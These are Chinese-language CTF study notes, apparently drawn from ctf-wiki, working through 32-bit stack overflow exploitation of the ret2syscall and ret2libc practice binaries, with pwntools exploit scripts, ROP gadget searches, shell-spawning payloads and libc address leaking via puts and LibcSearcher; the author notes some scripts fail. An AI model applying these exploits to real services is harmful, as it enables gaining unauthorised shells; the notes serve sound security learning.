这部分主要来源于ctf-wiki

ret2syscall

​ 这个其实就是利用了系统调用(syscall), 什么是系统调用呢? 参看基础知识篇,这里没有system了,但是不影响getshell,因为system的底层是调用的execve系统调用,我们只需要找到gadget,来构造系统调用,调用execve,然后传入参数/bin/sh,即可. 即 execve(“/bin/sh”)

​ 针对系统调用还有很多其他的利用方法,比如经典的ROW,就是说如果我们不能够执行execve getshell的话,我们可以想办法读取flag,毕竟我们的目的就是拿到flag,可以进行read open write将flag写入一个地方,然后打印出来即可.(后面再写相关的)

​ 这里我们利用的是 execve(“/bin/sh”,NULL,NULL),系统调用的参数不是根据那个调用约定了. 不用栈传参了,都需要用到寄存器eax ebx ecx edx 分别存放 系统调用号和第 1 2 3 个参数, 所以他们的值分别为 0xb /bin/sh 0 0 , .rodata:080BE408 aBinSh db ‘/bin/sh’,0 这个地址里存放着/bin/sh

buf 108 + 4 ebp + retaddress

寻找gadget

​ 要找到int 0x80 gadget,以及那几个pop, 利用ROPgadget ,具体语句及结果如下

1
2
3
4
5
6
7
8
9
ROPgadget --binary rop  --only 'pop|ret' | grep 'eax' 
ROPgadget --binary ret2syscall --only 'int'

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x080bb196 : pop eax ; ret
0x08049421 : int 0x80



exp

所以payload构造如下
binsh = 0x080BE408
edxecxebx = 0x0806eb90
eaxret = 0x080bb196
int80 = 0x08049421
payload = b”a”*(108 + 4) + p32(eaxret) + p32(0xb) + p32(edxecxebx) + p32(0) + p32(0) + p32(0x080BE408) + p32(int80)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level= "debug"

sh = process("./ret2syscall")

context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(sh,"break *0x8048e96")

binsh = 0x080BE408
edxecxebx = 0x0806eb90
eaxret = 0x080bb196
int80 = 0x08049421

payload = b"a"*(108 + 4) + p32(eaxret) + p32(0xb) + p32(edxecxebx) + p32(0) + p32(0) + p32(0x080BE408)+p32(int80)

sh.send(payload)
sh.interactive()

关于esp和ret的关系,ret后esp怎么移动等,需要再看看

Pop 一次后, esp往高地址移动一个地址

image-20230218192128330

为什么ret后就到了栈的下一个地址???

ret的时候, esp就指向了返回地址那一行,执行完pop后,esp移动到下一个gadget,然后ret弹出这个gadget的地址,作为下一条指令,由此一步步跟进

image-20230218192552976

ret2libc

​ 执行libc中的函数,一个关键点是找对libc版本.

​ 通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)(它们的关系???????)

re2libc1

​ 反汇编代码

​ 先从它自身寻找system和/bin/sh

1
2
3
4
5
6
7
8
ROPgadget --binary ret2libc1 --string '/bin/sh'  

0x08048720 : /bin/sh


# objdump -d ret2libc1 | grep "system"
08048460 <system@plt>:
8048611: e8 4a fe ff ff call 8048460 <system@plt>

​ 其活了,就覆盖返回地址为system,然后给它传参就好了,问题是怎么传参呢?栈的结构是怎样的?

image-20230220094904834

​ 当走到返回地址这里时,进入call system,就相当于新调用了一个函数,

​ 说实话这里还是不太懂流程,不过最好的办法就是自己去调试!

1
2
3
4
0xf7e4c623 <gets+291>    push   ecx                           <_IO_2_1_stdin_>
0xf7e4c624 <gets+292> call __uflow <__uflow>

0xf7e4c629 <gets+297> add esp, 0x10

​ 在返回到system时,栈的结构就是这样子的了,符合上图..但也没啥…还是看书把..参见下面一章节

1
2
00:0000│ esp 0xffffd4e0 ◂— 0x0
01:00040xffffd4e4 —▸ 0x8048720 ◂— das /* '/bin/sh' */

​ 找到了俩地址之外,还要找好偏移,找偏移有很多种方法

​ // [sp+1Ch] [bp-64h]@1 这个可以吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
和pwn入门-1-初识里面的例子一样,eax作为字符串的开始地址,一直往上走到ebp,所以可以在gets这里下断点,输入一些a,然后查看栈的布局即可


0x8048677 <main+95> lea eax, [esp + 0x1c]
0x804867b <main+99> mov dword ptr [esp], eax
0x804867e <main+102> call gets@plt <gets@plt>


pwndbg> stack
00:0000│ esp 0xffffd540 —▸ 0xffffd55c ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
01:00040xffffd544 ◂— 0x0
02:00080xffffd548 ◂— 0x1
03:000c│ 0xffffd54c ◂— 0x0
04:00100xffffd550 ◂— 0x0
05:00140xffffd554 ◂— 0x2c307d /* '}0,' */
06:00180xffffd558 ◂— 0x0
07:001c│ eax 0xffffd55c ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
pwndbg>
08:00200xffffd560 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓ 7 skipped
pwndbg>
10:00400xffffd580 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓ 7 skipped
pwndbg>
18:00600xffffd5a0 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓ 7 skipped
pwndbg>
20:00800xffffd5c0 ◂— 'aaaaaaaa'
21:00840xffffd5c4 ◂— 'aaaa'
22:0088│ ebp 0xffffd5c8 ◂— 0x0
23:008c│ 0xffffd5cc —▸ 0xf7dfdfa1 (__libc_start_main+241) ◂— add esp, 0x10
24:00900xffffd5d0 ◂— 0x1

​ 上述例子中输入了108个a,所以缓冲区是108,然后ebp占4位,然后就是返回地址了

1
2
3
4
5
6
7
8
9
from pwn import *

sh = process("./ret2libc1")

binsh = 0x08048720
system = 0x08048460
payload = b"a"*112 + p32(system) + b"b"*4 + p32(binsh)
sh.send(payload)
sh.interactive()

函数调用、序言与后记

​ 《计算机安全导论深度实践》p99.

函数调用

​ 为什么system后面是exit(就是返回地址),这是因为正常情况下,我们在call 一个函数的时候,也就是一个函数被调用的时候,会把它的返回地址压入栈中,等返回的时候取用,但是我们这里不是正常的call,而是直接覆盖掉了返回地址,所以就没有压栈的那个操作了,所以需要我们手动把返回地址写入里面. 此时push 返回地址进去后,esp就是下面序言的a状态

序言

​ 序言就是函数开头处的代码,用于为函数准备栈和指针. IA-32(32位x86)体系结构中,序言内设指令为enter,具体是下面三条指令

1
2
3
pushl %ebp  //保存调用者的ebp值(用于被调用函数结束后,恢复之前调用函数的栈帧)
movl %esp, %ebp //把esp赋值给ebp,这样ebp就到了 被调用函数的栈帧了
subl %N, %esp //给局部变量开辟一块空间

image-20230220103110353

后记

​ 函数末尾处的代码,用于恢复栈和寄存器到函数调用之前的状态. IA-32(32位x86)体系结构中,后记内设指令是leave,具体内容是下面三条指令

1
2
3
movl %ebp, %esp //把ebp的值赋值给esp,释放掉开辟的栈空间
popl %ebp //让ebp指回调用者函数的栈帧
ret //返回 ret包含了两条指令,pop 和 jump(参上)

image-20230220103140222

示例

​ 示例程序

1
2
3
4
5
6
7
8
9
10
11
void foo(int x)
{
int a;
a = x;
}

void bar()
{
int b=5;
foo(b);
}

​ gcc -m32 -S prog.c 编译成汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
foo:
pushl %ebp
movl %esp, %ebp
subl $16, %esp
movl 8(%ebp), %eax
movl %eax, -4(%ebp)
leave
ret
bar:
pushl %ebp
movl %esp, %ebp
subl $16, %esp
movl $5, -4(%ebp)
pushl -4(%ebp) // 这一句是干什么的?????? 这一句和上一句组合,压入参数
call foo
addl $4, %esp
leave
ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void foo(int x)
{
int a;
a = x;
}

void bar()
{
int b=5;
foo(b);
}
void main()
{
bar();
}

关于参数等再怎么具体的,要看看编译原理? 之类的?

ret2libc2

​ 相比ret2libc1,ret2libc2里没有/bin/sh,需要我们自己从其他渠道获取

1
2
3
4
5
6
7
8
9
10
08048490 <system@plt>:
8048641: e8 4a fe ff ff call 8048490 <system@plt>


08048460 <gets@plt>:
80486ba: e8 a1 fd ff ff call 8048460 <gets@plt>

0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret

​ 因为ret2libc2里有gets函数,所以可以先利用这个,读取一个/bin/sh,写入到哪呢? 写入到bss段,为什么写入到bss段呢?bss段的地址又怎么选呢???????

​ 写入进去后再从这里读取就可以了!

1
2
3
4
5
6
.data:0804A03F
.bss:0804A040 ; ===========================================================================
.bss:0804A040
.bss:0804A040 ; Segment type: Uninitialized
.bss:0804A040 ; Segment permissions: Read/Write

​ 所以payload的构造

​ payload = b”a”*112 + gets + popret + buf + system + exit + buf

​ payload = b”a”*112 + gets + system + buf + buf

​ 在gets的后面要跟一个pop xxx; ret 为什么呢? 因为这里本身是返回地址,在gets执行完后,要想继续执行的话,需要把后面的buf给弹出来,然后再ret,把system当成返回地址? 不知道这么理解对不对,可以调试一下看看

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

sh = process("./ret2libc2")

gets = 0x08048460
system = 0x08048490
buf = 0x0804A040
popret = 0x0804843d
payload = b"a"*112 + p32(gets) + p32(popret) + p32(buf) + p32(system) + p32(0) + p32(buf)
sh.send(payload)
sh.interactive()

​ 感觉能行,但是有点小问题,,还有那这个payload是不是也可以呢?payload = b”a”*112 + p32(gets) + p32(system) + p32(buf) + p32(buf),如果按照上面的逻辑的话,是的,这个payload没问题! 所以,究其根本我们是伪造了函数执行过程,只要符合它这个流程,理解本质,根据具体情况构造就可以了!!

​ (不过为什么执行一条命令就EOF了?) 那是因为 system需要获取/bin/sh…你忘了,直接输入 id whoami什么的,肯定就一次,可以直接输入/bin/sh,也可以在exp里面在加一行 sh.send(b”/bin/sh”)

不行,send不行,要两个sendline才可以,send和sendline肯定有区别,回头写pwntools时(pwn入门-6)看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

sh = process("./ret2libc2")

gets = 0x08048460
system = 0x08048490
buf = 0x0804A040
popret = 0x0804872f
payload = b"a"*112 + p32(gets) + p32(system) + p32(buf) + p32(buf)
#payload = b"a"*112 + p32(gets) + p32(popret) + p32(buf) + p32(system) + p32(0) + p32(buf)
sh.sendline(payload)
sh.sendline(b"/bin/sh")
sh.interactive()

ret2libc3

​ 相比ret2libc2,system也没了,那就需要从libc中找了,libc的话没有给你版本,就需要泄露个函数地址,然后去找版本,泄漏的话,用puts输出.

​ 是不是需要先换个libc版本呢???? 还是什么????????????????????/不对呀,既然需要泄漏函数..那libc版本就是固定的了,为什么呢….是动态链接的事?

​ 先打印出libc_start_main_addr 再说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from Libcsearcher import Libcsearcher

sh = process("./ret2libc3")
ret2libc3 = ELF("./ret2libc3")

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.plt['main']

payload1 = b"a"*112 + puts_plt + main + libc_start_main_got
sh.sendafter("Can you find it !?",payload1)

libc_start_main_addr = u32(sh.recv()[0:4])
print(libc_start_main_addr)

​ 很奇怪,这个脚本感觉没什么问题,但是不行,下面的却可以…….感觉没有什么区别呀………..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
##!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher

sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
print(hex(libc_start_main_addr))

sh.sendlineafter(‘Can you find it !?’, payload)

sh.sendafter(“Can you find it !?”,payload1)

区别在这里!!!!!

还有如果不加[0:4]会是怎样?

print(sh.recv())看看

b’\xb0\xde\xdf\xf7\nNo surprise anymore, system disappeard QQ.\nCan you find it !?’

所以是要前四个字节的意思!

​ libc的问题参见下面,目前就当已经解决libc的问题了,然后继续做,libcbase的话就是这个/lib/i386-linux-gnu/libc.so.6 (0xf7de5000),

​ 然后就是获取binsh和system的地址,这个可以直接用objdump或者ROPgadget

​ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep “system”

​ ROPgadget –binary /lib/i386-linux-gnu/libc.so.6 –string ‘/bin/sh’

​ 其实泄露了地址,找到了gadget,就是最开始最简单的那个溢出了,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import LibcSearcher


sh = process("./ret2libc3")
ret2libc3 = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
puts_got = ret2libc3.got['puts']
main = ret2libc3.symbols['main']

#system_addr = libcbase + libc.dump("system")
#binsh_addr = libcbase + libc.dump("str_bin_sh")
system_addr = 0xf7de5000 + 0x0003d3d0
binsh_addr = 0xf7de5000 + 0x0017e1db

payload = flat(['A' * 112, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

​ 虽然这里没有成功,但还是看看exp,理解一下这个思路. 接收到泄露的地址后,用libcsearcher搜索一下,搜索到了之后,用libc_start_main_addr(这个就是虚拟地址) 减去 __libc_start_main的地址(在文件中的偏移),于是就得到了加载libc的基地址,就是这玩意 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7de5000),然后再从libc里面搜索要用的函数或者字符串,加上加载的基地址就可以了.

1
2
3
4
5
6
7
8
9
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

关于libc的问题

​ 首先,之所以要泄露libc的版本是因为,我们要打一个远程的机器,要利用到它的libc库里的函数,但是不同版本的libc的函数位置等是不一样的,所以需要泄露远程机器的libc版本,然后本地patch进行调试,再打远程.

​ 像很多博客中的例题,是没有远程环境的,所以就自己利用自己本地的环境,链接到自己本地的libc上,不过问题是,有时候libcsearch搜索自己本地的libc搜不出来,版本是错的,目前我也不知道为什么….当然这些工具本身就不是完美的.

​ 这种题的话,如果出现上面的问题,可以就略过搜索libc的环节,直接用本地的就好了.

​ 查看本地libc版本

1
2
3
4
5
6
# ldd --version
ldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

​ 一般来说都是链接到这个默认的,可以用ldd查看一下,然后直接执行这个文件也可以看到版本

1
2
3
4
5
6
7
8
# ldd ret2libc3
linux-gate.so.1 (0xf7fd5000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7de5000)
/lib/ld-linux.so.2 (0xf7fd6000)

# /lib/i386-linux-gnu/libc.so.6 --version
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.

​ 获取libc版本的话可以有很多方式,可以到libc database网站上查,也可以用libcsearch这个库,但不一定百分百准确,

​ 比如上面获取了libc_start_main_addr的地址后,就可以去网站上查 https://libc.blukat.me

​ 但是确实不准……..

image-20230221212120145

​ 或者用libcsearch,在上面的代码基础上再加2行

​ libc = LibcSearcher(‘__libc_start_main’, libc_start_main_addr)

​ libcbase = libc_start_main_addr - libc.dump(‘__libc_start_main’)

1
2
3
4
5
6
7
8
9
10
11
[+] There are multiple libc that meet current constraints :
0 - libc-2.30-13.fc31.i686
1 - libc-2.30-2-x86
2 - libc-2.30-3-x86
3 - libc-2.30-1-x86
4 - libc-2.32-16.mga8.x86_64_2
5 - libc-2.32-17.mga8.x86_64_2
6 - libc-2.32-20.mga8.x86_64_2
7 - libc-2.32-21.mga8.x86_64_2
8 - libc-2.32-18.mga8.x86_64_2
9 - libc-2.32-19.mga8.x86_64_2

​ 咱也不知道为啥..就是不对,,可能数据库汇总没收录??不对呀,这就是很常见的2.27..

残留疑问

输入到bss段中的/bin/sh有什么要求呢?哪里都可以输入吗?为什么输入到bss段?

好像是pip和github下载的libcsearch有区别

这个查的不准可以去别的地方查,把libc_start_main_addr打印出来后,去一些网址上查可以

https://www.jianshu.com/p/5525dde00053

为什么nm和exp里的输出不一样,是因为一个是静态,一个是动态加载后的吗

image-20230221224958263

image-20230221225004604

__libc_start_main 通过这个得到libc?

https://blog.csdn.net/weixin_45309916/article/details/119481681